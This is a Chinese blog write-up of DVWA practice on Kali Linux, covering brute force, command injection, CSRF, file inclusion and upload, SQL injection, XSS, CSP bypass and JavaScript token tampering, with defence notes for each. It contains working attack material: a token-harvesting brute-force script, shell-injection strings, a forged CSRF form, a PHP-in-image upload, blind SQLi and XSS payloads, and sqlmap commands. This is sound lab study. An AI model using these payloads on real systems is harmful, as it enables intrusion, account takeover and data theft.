初识Web安全(二)Kali Linux 的DVWA记录

1. 网络不是法外之地,学习网络安全只是为了更好地保护网络安全

2. 文中内容仅为学习交流,涉及到的工具和方法均不能用于破坏网络安全

该笔记仅在CSDN中发表,如转载请大家注明出处。

CSDN:http://blog.csdn.net/elang6962?viewmode=contents

  • PhpStudy=0.4公测版

  • OS:Kali Linux 2019.4

  • DVWA:1.9


上一篇中记录了在Kali 2019.4中利用phpstudy搭建dvwa的过程,这一篇是完整的DVWA练习记录,内容长,很肝!

1 Brute Force 暴力破解

1.1 使用工具

  • 抓包/破解:OWASP ZAP
  • 代理插件:火狐FoxyProxy

1.2 Low

思路:

  1. 输入正确的用户名和密码,提交观察。这里自动填写了用户名和密码,点提交就行。看到出现一句欢迎语和一张图片,同时F12看到请求方法是GET,当然看URL里带了用户名和密码也就知道了。

image

  1. 输入错误的用户名和密码,提交观察。直接删除密码点提交,提示“用户名或密码错误”。

image

  1. 准备抓包破解。FoxyProxy添加一个8081端口的本地代理,ZAP在选项-local proxies里设置了8081端口,因为有时会把ZAP和Burp同时开,避免端口冲突。

image

image

  1. 抓包。Foxy开启代理,为了做戏,密码处填个错的,点击提交。这里我出现了浏览器不信任127.0.0.1,看了下URL变成了https,点高级-继续访问。然后ZAP就抓到了包。

image

  1. 暴力破解。点击抓到的包,上图右上角请求处查看URL,找到那个URL有用户名和密码的包,点右键-选择FUZZ。这里FUZZ可能会带有一个Fuzz Locations,一般都是错的,删掉后选择用户名的payloads也就是admin,点击右边的Add按键,在弹出的对话框随便输入几个用户名,有admin就行;密码同理,有password就行,点击Start Fuzzer

image

  1. 观察结果。ZAP做不到成功后自动停止,只能从响应中观察哪个是成功的。这里因为自己玩,总共没几个组合,直接从结果里看了。响应中有一个4424字节,其他都是4381,这就可以猜测4424就是成功了,点击在ZAP中查看果然能看到那句欢迎语。

image

结束后分析DVWA的PHP源代码,Low等级拿到用户输入的用户名和密码后,对密码进行了md5,然后就直接到数据库里查询,没有任何保护。

1.3 Medium

依据Low的思路,依旧使用ZAP执行暴力破解,还是可以成功,但明显FUZZ的时间变久了。从截图看,每个请求的RTT时间是秒级的,看了源代码,在请求失败时会sleep2秒,这里不懂为什么RTT中记录的时间会比2秒多那么多。

image

1.4 High

思路:

  1. 先从最简单的ZAP暴力开始,非常快的结束了。仔细看ZAP可以发现,所有包的响应都是0字节,且状态码是302。这时候想到看看请求包和响应包有什么特殊的地方,很明显的看到请求包的url中多了个user_token,先瞧瞧是不是它的原因。

image

  1. 这时候继续用zap抓包,回到页面分别测试2次正确输入和2次错误输入,再来看包的内容。点开1号正确包,可以看到url和referer处都有user_token,但二者不同;再点第二个包,2个位置依旧不同,且url中的user_token与第一个包不同,到这里就可以判断这个user_token是每次请求都会改变的,不论输入的用户名密码组合是否正确。错误的2个包已经没必要看了。这里第一个包的referer就有token是因为直接在第一次抓包后的页面中进行这一步。

image

  1. 已经确定是user_token的问题就好办了,先从响应中找到它。查看页面源代码,可以直接搜索user_token

image

  1. 现在可以大致知道规则,即每次点击提交,响应中会返回一个user_token,在下一次提交时带上。
请求 响应 用户名、密码、user_token[0] user_token[1] 用户名、密码、user_token[1] user_token[2] 用户名、密码、user_token[2] user_token[3] 请求 响应
  1. 那么第0个user_token是怎么来的?是第一次点击进入Brute Force模块时的响应中返回的。很明显,ZAP这类工具没法用了,必须手动从响应中拿出user_token并放入下一个请求中,也就是要自己动手。这里有两个思路:
    • 一是按照上面那个图一直进行下去,从第一次进入模块之后就不断重复“提交-获取token-提交”,直到发现成功flag或者payloads消耗光。
request Brute Force
get response
while 1:
    user_token = user_token in response
    send request(username,password,user_token)
    get response
# 思路一的代码
import urllib.request as urllib2
import re
from urllib import request

IP = '127.0.0.1'
USERFILE = ''  # username的字典
PASSFILE = ''  # password的字典
COOKIE = ''  # 手动查看后加入

# 由字典生成列表
usernames = [x[:-1] for x in open(USERFILE,'r')]
passwords = [x[:-1] for x in open(PASSFILE,'r')]

# 访问首页
response = request.urlopen(request.Request('http://' + IP + '/dvwa/vulnerabilities/brute/',headers={'Cookie':COOKIE}))
content = response.read().decode('utf-8')

for username in usernames:
    for password in passwords:
        # 获取user_token
        user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",content)[0]
        # 发送request
        url = 'http://' + IP + '/dvwa/vulnerabilities/brute/?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
        response = request.urlopen(request.Request(url,headers={'Cookie':COOKIE}))
        content = response.read().decode('utf-8')
        # 确认结果
        print('用户名:'+username)
        print('密码:'+password)
        if 'Username and/or password incorrect.' in content:
            print('结果:失败')
        else:
            print('结果:成功')
            break
    else:
        continue
    break

    • 二是将“进入Brute Force-提交”这个过程不断循环,成功后自动退出。从代码看和思路一区别不大,反而看起来对服务器的负担更大些,因为每次循环都会多请求一次首页。
while 1:
    request Brute Force
    get response
    user_token = user_token in response
    send request(username,password,user_token)
# 思路二代码
# 和思路一的区别是把访问首页挪到循环里

for username in usernames:
    for password in passwords:
        # 访问首页
        response = request.urlopen(request.Request('http://' + IP + '/dvwa/vulnerabilities/brute/',headers={'Cookie':COOKIE}))
        content = response.read().decode('utf-8')
        # 获取user_token
        user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",content)[0]
        # 发送request
        url = 'http://' + IP + '/dvwa/vulnerabilities/brute/?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
        response = request.urlopen(request.Request(url,headers={'Cookie':COOKIE}))
        content = response.read().decode('utf-8')
        # 确认结果
        print('用户名:'+username)
        print('密码:'+password)
        if 'Username and/or password incorrect.' in content:
            print('结果:失败')
        else:
            print('结果:成功')
            break
    else:
        continue
    break

1.5 防御

  1. 验证token还是要有的,反正还得防CSRF
  2. 设置一个失败阈值,达到上限禁止尝试
  3. 验证码,也可以设置一个失败阈值,达到后开始使用验证码
  4. 参数化SQL语句,使用PDO技术

2 命令注入

2.1 使用工具

命令注入的底层是执行系统命令,如windows的ping、ipconfig等,漏洞产生的原因主要是系统没有处理或过滤用户输入,将输入作为系统命令的参数直接与命令进行拼接

工具上强行安排hackbar插件,其实啥也不需要

2.2 Low

  1. 很明显这里执行的是ping,用户的输入作为参数传入。正常输入127.0.0.1,可以看到会输出常见的ping响应。
  2. 可以直接输入payload测试是否存在漏洞。这里使用字母少且输出快的dir命令,payload127.0.0.1|dir

image

  1. 这里可以把常见的命令连接符都测试一遍。
    • |命令1|命令2,将命令1的输出作为命令2的输入,payload127.0.0.1|dir可输出dir
    • ||命令1||命令2,只有命令1执行失败时才会执行命令2,payload127.0.0||dir可输出dir
    • &命令1;命令2,同时执行命令1和命令2,payload127.0.0.1&dir可输出dir,此时dir先执行完,所以输出在ping的上面
    • &&命令1&&命令2,只有命令1执行成功时才会执行命令2,payload127.0.0.1&&dir可输出dir
    • ;命令1;命令2,按顺序执行命令1和命令2,2个命令间不存在任何逻辑关系,payload127.0.0.1;dir

基本可以判断,这里没有对输入做任何安全处理。

2.3 Medium

直接测试:

  • 可行:|&||

  • 不可行:&&;

看一下php源码,果然只过滤了不可行的2个符号,没有对输入做其他处理

2.4 High

直接测试:

  • 可行:|
  • 不可行:||&&&;

看看代码,一开始就给ip用了个trim函数,默认去除输入参数两侧的空白字符。且符号过滤的更多了,里面是包含|的,仔细看可以发现,代码里过滤的|后面有个空格,简直就是特地给我这样的萌新留个窗户。

    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    ); 

trim()函数移除字符串两侧的空白字符或预定义字符。空白字符如回车、制表符、换行符、NULL、空格等

2.5 防御

白名单模式,DVWA这里impossible模式中检测输入是否是合法的ipv4地址;同时检测token防止CSRF

3 CSRF

3.1 使用工具

ZAP和Burpsuite

上一篇博客安装phpstudy时设置了只允许127.0.0.1访问,为了实现测试中的2个IP,将此设置暂时去掉了。方法是在网页面板-网站-配置中,按照提示点击恢复,然后重启服务。

image

3.2 Low

  1. 在正常输入的测试中就打开zap和本地代理,查看请求和响应。注意到URL中带有刚才填的参数。

image

  1. 似乎没什么特别的,按照URL中对应参数的名称直接构造测试页面。这里把正常页面的html代码直接复制后修改,改动了填写密码的部分。构造完成拷贝到网站根目录下,这个页面的路径为127.0.0.1/test.html,这里最后使用按钮是为了多次测试,实际中应该是自动执行的。
<form action="http://192.168.1.2/dvwa/vulnerabilities/csrf/" method="GET">
	<input type="hidden" name="password_new" value="123456"><br />
	<input type="hidden" name="password_conf" value="123456"><br />
	<input type="hidden" value="Change" name="Change">
	<input type="submit" value="Click Me">
</form>
  1. 在同一个浏览器中输入127.0.0.1/test.html,进入后效果如下图,没有css效果是因为网页代码中引用的样式都是一些相对目录,如<link rel="stylesheet" type="text/css" href="../../dvwa/css/main.css" />

image

  1. 点击图里的Click Me按钮,密码成功修改。

3.2 Medium

  1. 这里为了更像真的,我改了hosts,所以测试时的url都不再是ip了。另外ZAP在抓包上真的不如Burp用着舒服,这把用Burp了。
  2. 按照low的思路进行,在浏览输入127.0.0.1/test.html,虽然还是到了CSRF的页面,但是提示由修改成功变为了That request didn't look correct.

image

  1. 开Burpsuite,找找看原因。首先在low和medium下,正常输入,点击提交,请求包的内容是一样的;然后在medium下正常输入一次,尝试CSRF一次,通过对比请求包,发现CSRF请求包只有referer一项和正常包是有区别的。那么就试着改改,先进入test.html,打开抓包,点击Click Me,Burp里抓到的包右键发送到Repeater模块,先把referer修改为和正常包一样,果然成功了。

image

  1. 确定问题所在,思考如何绕过。注意到请求包host和referer有同样的域名(用Burp抓到的包GET请求网址是不包含域名的,用F12看到的才有),猜测防护规则来自host,所以回到第二步,把host的域名加到referer的各个位置,包括:只有域名;域名在127.0.0.1/test.html前面;在后面;在中间。测试结果是只要referer里有那个域名,就可以修改成功。如图,甚至放在数字中间都可以。

image

  1. 由此,Medium级别的防护可以肯定为,识别referer中是否包含host的域名。绕过方法就简单了,一种是把test.html改成exercise.hun.html,另一种是新建一个和域名同名的文件夹,把test.html丢进去。

3.4 防御

High等级正常输入,可以看到URL中多了user_token,而且每次响应都会改变。

而CSRF只不过让用户进入了我这边的一个html,不管是点击Click Me还是进入html就自动提交,都没办法在Form中添加上正确的user_token.

要绕过的话,这里的逻辑似乎是:

用户 test.html 服务器 点击进入 请求High等级页面 返回user_token 拿到user_token添加到表单 提交表单 修改成功 用户 test.html 服务器

换句话说,用户只访问一次test.html,而该页面要自己完成后面所有的步骤。

impossible中,更需要输入用户的原密码才可以修改,这就更不可能绕过了。

4 文件包含

4.1 前置

设置php为允许包含和打开文件

image

4.2 Low

  1. 点击几个文件,观察url,page=后面就是参数
  2. 修改参数为一个不存在的文件,先按顺序尝试file4.php,忘记它是存在了,如图,正好说明漏洞是存在的,这里可以证明漏洞起码是可以读取服务器本地文件的

图

  1. 尝试不存在的文件名,报错且信息中包含本地文件的目录

图

  1. 当前目录确定可以利用漏洞,尝试服务器的其他目录。在文件上传漏洞中上传phpinfo.php,完整的url改为http://exercise.hun/dvwa/vulnerabilities/fi/?page=../upload/phpinfo.php,可以成功输出php信息
  2. 尝试包含远程文件,这里测试本机中DVWA服务器之外的目录,在DVWA同级目录拷贝phpinfo.php。完整url为http://exercise.hun/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php,可显示php信息

核心:文件包含漏洞的本质就是通过漏洞执行攻击者本地的脚本。否则,需要利用文件上传或是通过信息收集找到其服务器上已有的脚本

4.3 Medium

  1. file4.php还是可以执行,也就是至少服务器上该目录是可以利用的
  2. 尝试不存在的文件依旧会报出文件目录
  3. http://exercise.hun/dvwa/vulnerabilities/fi/?page=../upload/phpinfo.php失败,从报错信息看Warning: include(upload/phpinfo.php): failed to open stream: No such file or directory in /www/admin/localhost_80/wwwroot/dvwa/vulnerabilities/fi/index.php on line 36服务器只解析了upload/phpinfo.php而不是../upload/phpinfo.php,应该是../被过滤了,那么就可以用....//尝试绕过,果然成功。所以这里是把../作为一个整体过滤了
  4. http://exercise.hun/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php失败,同理也是过滤,尝试httphttp://://,这么写如果成功就可以肯定是把http://作为整体过滤

4.4 High

  1. file4.php依旧可行
  2. 尝试服务器其他目录和远程文件均失败,提示如图,错误信息太少

image

  1. 继续尝试,把phpinfo.php拷贝到file4.php同目录中,失败,提示相同。
  2. 考虑文件名,将phpinfo不断修改,直至修改为filephpinfo后可执行,也就是page=的参数必须以file开头,那么首先远程文件不可能执行了
  3. 能执行本地文件也是好滴,使用file://加上完整路径就成。exercise.hun/dvwa/vulnerabilities/fi/?page=file:///www/admin/localhost_80/wwwroot/dvwa/vulnerabilities/upload/phpinfo.php成功,www前面的第三个/是根目录/,使用file://需要使用文件的本地完整路径
  4. 想要执行自己的脚本就得把它上传到目标服务器

4.5 防御

黑名单:Medium级别就是,太容易有遗漏

白名单:High就是

通过代码,High级别只需要file*include.php,impossible级别最绝,只允许file1、file2、file3

5 文件上传

5.1 工具

burpsuite

5.2 Low

看到是个上传文件的模块,直接尝试上传一个php文件,提示成功,并且会报出文件所在路径。

image

5.3 Medium

  1. 直接上传php文件是失败的,提示“只接受jpeg或png文件”

image

  1. 现在用Burpsuite抓包,上传正常图片和php文件各抓一个包,对比他们的不同。

image

image

  1. 分析上面2个图,二者的不同有三处:文件名、content-type、文件内容
  2. 尝试找到漏洞。文件内容肯定是放在最后考虑的,那么可以测试把文件名或content-type修改后重发

image

  1. 经过测试,修改2处、修改content-type都可以上传,只修改文件名依旧上传失败,可以确定只要修改掉content-type即可

5.4 High

  1. 来到高级,用前面的方法都会失败。而我们能修改的只剩下文件内容,也就是让php文件的内容变成图片内容。
  2. 新建一个1.php,Kali终端使用cat 1.jpeg 1.php > hello.jpeg将两个文件合并成新的图片,新文件的大小等于两个文件之和。
  3. 现在直接上传就好了。为了验证,可以切回Low等级到文件包含下,随便点一个正确的文件,然后地址栏改为http://exercise.hun/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/hello.jpeg,回车后可以看到上面是图片内容的乱码,下面是php信息。

image

5.5 防御

修复方法有两个方向:

  • 阻止非法文件上传,文件后缀、类型、内容必须控制,等于high等级,但不能有文件包含漏洞、服务器使用apache(因为nginx有一个畸形解析漏洞,可以用在文件包含)
  • 阻止非法文件执行,存储目录执行权限关闭、存储文件和服务器分离、文件重压缩生成、文件重命名

6 SQL

6.1 思路和工具

对于固定目标的SQL注入,其实就是个找注入点,剩下的就是sqlmap

寻找注入点就是判断后台是否将用户输入直接进行SQL语句拼接,导致用户的输入被执行:

  • 1 and 1=2
  • 1’ and ‘1’='2
  • 1" and “1”="2
    上面都是真 and 假 = 假,如果被执行则存在SQL注入点;同时可以确定是字符型还是数字型

工具:

  • hackbar插件,sqlmap

6.2 Low

输入1提交,hackbar读取url后把payload改为4' and '1'='2提交,输出是空的,说明系统执行了注入的语句,注入点确定。

sqlmap:sqlmap -u "<url>" --cookie="<cookie>"

6.3 Medium

提交页变成序号选择,且通过F12网络查看是post方法,url中没有修改payload的地方。

用hackbar读取url,勾选post data,修改payload即可

sqlmap:sqlmap -u "<url>" --data="<post data>" --cookie="<cookie>" -level 2level2可检测data中的注入点

6.4 High

有个链接,点击后弹出新的页面,然而这个新的页面直接按照Low的方法就可以注入

1'错误返回不包含有价值信息,用1"会过滤掉

sqlmap:sqlmap -u "exercise.hun/dvwa/vulnerabilities/sqli/session-input.php#" --cookie="security=high; PHPSESSID=6qo1h0q2k95bit6j6ki1u5e8o5" --second-url="http://exercise.hun/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit"id=1&Submit=Submit

6.5 防御

  • 参数化SQL语句,预编译
  • 白名单

7 SQL盲注

7.1 目标和工具

目标与回显注入是一样的,只要找到注入点就行

工具:hackbar、sqlmap

7.2 Low

  1. 输入1,只显示exist
  2. 1' and '1'='1存在,1' and '1'='2不存在,说明输入全部被执行,注入点存在

手工:

  1. 手工的话,首先得试出来SQL语句有几列内容。1' order by 1,二分法依次改为10,5,3,2,最终1' order by 2存在,3则不存在,确定select后面要跟2个参数
  2. 可以验证一下,' union select sleep(3)#是马上刷新页面,而' union select 1,sleep(3)--基本是等待3秒后刷新
  3. 先猜数据库长度,1' union select 1,if(length(database())>100,sleep(3),False)--
  4. 然后就是体力活猜字母了1' union select 1,if(ascii(substr(database(),1,1))>100,sleep(3),False)--

7.3 Meidum和High

其实和回显注入都一样的,只不过换成了盲注,手工注入的方法完全改变,用sqlmap的话没差别了

8 XSS-DOM

8.1 原理

目前理解的是,通过url传入payload,从而触发漏洞。和反射性、存储型对比,也可以理解成CS交互,不同是的把JS当成是client,html是server,html解析url时页面JS执行了藏在url中的JS代码

本节基本都是看了代码和help的

8.2 Low

<script>alert(1)</script>确定注入点存在

8.3 Medium

不能使用包含<script的任何payload,即要在不使用script的前提下找到执行JS语句的方法

/option></select><img src='x' onerror='alert(1)'>

option可以没有,看html代码可知需要先闭合<select>,然后正常添加一个<img>

8.4 High

搞不定,看了php代码,只有4个白名单是合法的。

加个#号就可以,#/option></select><img src='x' onerror='alert(1)'>

在url中#后面的内容不会发送到server,因而无法阻止运行

8.5 防御

客户端保护,JS使用decodeURI(),payload直接被解码,和正常输入拼接后输出,无法运行

9 XSS-Reflected

9.1 思路和工具

反射型是输入传输到服务器,由服务器进行解析后再返回

9.2 Low

看到输入框,直接试<script>alert(1)</script>

抓包可以看到响应的html代码中直接输出了用户的输入

图

9.3 Medium

  1. 直接输入<script>alert(1)</script>不成功,抓包看到<script>标签被过滤了

图

  1. 尝试修改标签大小写,成功,抓包看到输入被完全输出

图

9.4 High

  1. 这次<script>alert(1)</script>不管怎么变,输出的只有一个>。说明script标签被彻底过滤了,也就是不能直接执行脚本
  2. 绕过使用script,尝试另一种较常见的<img>标签,<img src='x' onerror="alert(1)">,成功
  3. 阅读php源码,过滤所有<script的变形

9.5 防御

使用htmlspecialchars函数将<>转换为实体字符,而不是html元素

10 XSS-Stored

10.1

存储型是利用漏洞将恶意代码保存在服务器端,每次客户端请求包含而已代码的页面时就执行该代码

10.2 Low

评论区输入<script>alert(1)</script>成功

10.3 Medium

  1. 照样输入,发现<script>被完整过滤掉了
  2. 尝试大小写script,依旧过滤
  3. 尝试<img src="x" onerror="alert(1)">,整个标签都过滤掉了,怀疑是会过滤<>的所有内容
  4. 前面都只看到了message,现在注意到name也是个文本输入框,尝试输入发现是有长度限制的
  5. 开Burp,抓包发送到repeater,在txtName后输入<sCRIPt>alert(1)</ScriPt>,发送后查看respond里对应位置代码是完整的,在浏览器里刷新页面成功弹窗。

图

10.4 High

  1. 前面的方法都试过,script被过滤干净了
  2. 在name中使用<img>标签成功

图

10.5 防御

  1. 过滤<>等脚本常用符号,使用php的htmlspecialchars()函数可过滤<>&"'z转换为实体,而不是符号。同时'也可以用mysql_real_escape_string()转义
  2. 用户输入:在服务端设置白名单过滤
  3. 服务端输出:输出至html中就进行编码,输出至JS中就进行转义

htmlspecialchars()中过滤引号时要设置flag参数

  • ENT_COMPAT - 默认。仅编码双引号。
  • ENT_QUOTES - 编码双引号和单引号。
  • ENT_NOQUOTES - 不编码任何引号

11 Insecure CAPTCHA

不安全的验证

要求注册获取key,该模块没办法学习

12 CSP Bypass

12.1 思路

内容安全策略,支持CSP的浏览器会根据用户设置的内容来源、格式甚至值进行过滤。因为需要用户自行设置,存在被绕过的风险。

12.2 Low

提示检查CSP的设置,然后输入带有script的外部资源。F12到网络选项卡,然后刷新页面。

图1

可以看到CSP允许同源脚本以及几个URL:script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;

这里我已经知道https://pastebin.com是个剪贴板网站,可以为输入的内容生成链接,这里可以直接在网站输入alert(1),生成链接粘贴到dvwa中就可以看到效果

12.3 Medium

题目变成了"不管输入什么都会直接显示在页面中",输入TEST效果如下:

图1

照例先检查下CSP设置

图2

允许同源脚本,同时允许unsafe-inline,但要求有个随机数属性。script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';

这里我是不懂的,但看了提示。可以多试几次,瞧瞧这个随机数是个什么情况,结果当然它是一个固定值。

Payload:<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert('1')</script>输入后点include就OK了

图3

也可以hackbar修改post

图4

12.4 High

这里题目变了,只要点一个键就会显示加法的计算结果,但是它提示了可以去读../..//vulnerabilities/csp/source/jsonp.php的代码。目前代码阅读不知道对不对。

  1. 先看看CSP配置,只剩下script-src 'self';也就是说只能执行同源脚本
  2. 反正提示了路径,直接去文件夹打开代码了。第一次学习的时候记得应该可以利用文件包含的,但是第二次发现不行了,不知是不是我打开的方式不对。总的来讲,jsonp.php的逻辑就是获得callback传来的东西再输出到页面。outp是answer对应15,最后一句的结果的是solveSum(json_encode(“answer”:“15”)),也就是说在此处才是调用了solveSum函数
  3. High.js:这个可以直接看,右键网页源代码,漏洞代码区就能看到high.js点击即可。一旦监听到点击按键,就生成一个script,把solveSum函数传给callback。solveSum函数的逻辑就是检查answer在不在传来的参数里,如果在,就把answer对应的东西赋值给网页中id是answer的元素,也就是<span>

图1

OK,阅读完毕,现在看来能让我下手的地方就是传给callback的参数,只要修改它就成。在这里我又一次打开Burpsuite,为了看到效果,直接在proxy模块操作,简单修改callback参数后点intercept is on关掉代理就可以看到效果了。

图2

另外一种方法,在中级时通过hackbar其实是看到post data里有个include,这里如果忘记了尝试也没关系,因为我们会读php源代码,可以看到这一题还是接受include参数的,只不过直接从hackbar里看不到。题目只能执行同源脚本,因此直接上<script>alert(1)</script>是不行的,需要在script中执行src

最终payload:include=<script src="source/jsonp.php?callback=alert(1);"></script>

图3

12. 5 防御

别给用户修改参数的机会!callback不需要传参,直接写死成solveSum

13 JavaScript

13.1 思路和工具

该模块的本意是熟悉JS常见的位置、形式、保护机制以及在浏览器中使用和操作JS,以绕过保护。

较繁琐的办法:看到JS代码后,可通过另存修改后执行,获取到正确的token,然后Burp抓包修改token。

可选的:Burpsuite

最佳实践:F12即可,在控制台执行JS函数;在线反混淆

13.2 Low

  1. 打开JS模块,看到只要提交success就可以win,这太简单了。输入success,点击提交,成功获得返回消息Invalid token.,那么第一条tip就是找到这个token
  2. 右键查看网页html源代码,找到token和phrase位置
	<form name="low_js" method="post">
		<input type="hidden" name="token" value="" id="token" />
		<label for="phrase">Phrase</label> <input type="text" name="phrase" value="ChangeMe" id="phrase" />
		<input type="submit" id="send" name="send" value="Submit" />
	</form>

  1. 右键查看元素,找到token和phrase位置。可以看到token有值,为了验证我重载入了dvwa,这里依旧是有值的,可以确定这是ChangMe的对应token

图,第一次查看

  1. 寻找计算token的方法,继续右键查看源代码。看到在html代码中包含了完整的JS脚本,先获取phrase处的字符,计算其md5赋给token
  2. 利用。保持查看元素,先在phrase输入success,然后到控制台下直接执行generate_token(),再回到查看器,可以看到token的值变了,此时点提交就成功了。

图,第二次查看

13.3 Medium

  1. 查看元素找到token位置为空。
  2. 查看源代码,看到JS代码只有一行链接<script src="/vulnerabilities/javascript/source/medium.js"></script>,且直接点击会返回404
  3. 使用完整路径查看http://exercise.hun/dvwa/vulnerabilities/javascript/source/medium.js
function do_something(e)
{
    for(var t="",n=e.length-1;n>=0;n--)
        t+=e[n];
        return t
}
setTimeout(function(){do_elsesomething("XX")},300);
function do_elsesomething(e)
{
    document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")
}
  1. setTimeout在300毫秒后执行do_elsesomething(“XX”),token等于do_something(XXsuccessXX),结果是其倒序排列。算到这里抓包修改似乎很简单了,但实际中这么简单的结果应该很少见。
  2. 老样子移步控制台,执行do_elsesomething("XX")提示未定义,仔细检查发现medium.js的路径是http://exercise.hun/vulnerabilities/javascript/source/medium.js,实际应该是http://exercise.hun/dvwa/vulnerabilities/javascript/source/medium.js,少个dvwa。这是自己的锅,因为在phpstudy中网站的默认路径就没有dvwa。
  3. 手动在控制台加载medium.js
var script = document.createElement('script');
script.src = "http://exercise.hun/dvwa/vulnerabilities/javascript/source/medium.js";
document.getElementsByTagName('head')[0].appendChild(script);

image

  1. 先输入success,执行do_elsesomething("XX")后回到查看器,看到token已经修改了,提交就好了。

图

当然一些复杂情况,在弄清逻辑后也可以直接用控制台执行代码,算出token,然后抓包修改。

function do_something(e){
    for(var t="",n=e.length-1;n>=0;n--)t+=e[n];
    return t
}
alert(do_something("XX"+'success'+"XX"));

13.4 High

  1. 什么都不做了,直接查看html源代码,找到JS位置访问。看到乱糟糟的一团,百度后得知需要反混淆,并找到JS脚本反混淆网站:http://deobfuscatejavascript.com/#。完整代码实在太长,前面部分都是HASH,直接看后面就好了。核心代码如下:
function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
  1. 代码逻辑:300毫秒后执行token_part_2,点击后执行token_part_3,执行token_part_1,其中do_something()反转phrase。也就是说在正常时会先默认phrase为空,然后执行token_part_1token_part_2,最后提交执行token_part_3
  2. 老办法先载入high.js,然后输入success,依次执行token_part_1("ABCD", 44)token_part_2("XX"),提交成功。

13.5 防御

据impossible等级介绍,根本无需担心

你根本不能信任用户,必须假设任何发送给用户的代码都可以被修改或绕过。根本不存在绝对安全的级别。


DVWA暂时就是这样了,剩下的时间里会针对练习中很多一知半解的知识进行深入,目标是搞透原理和本质。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值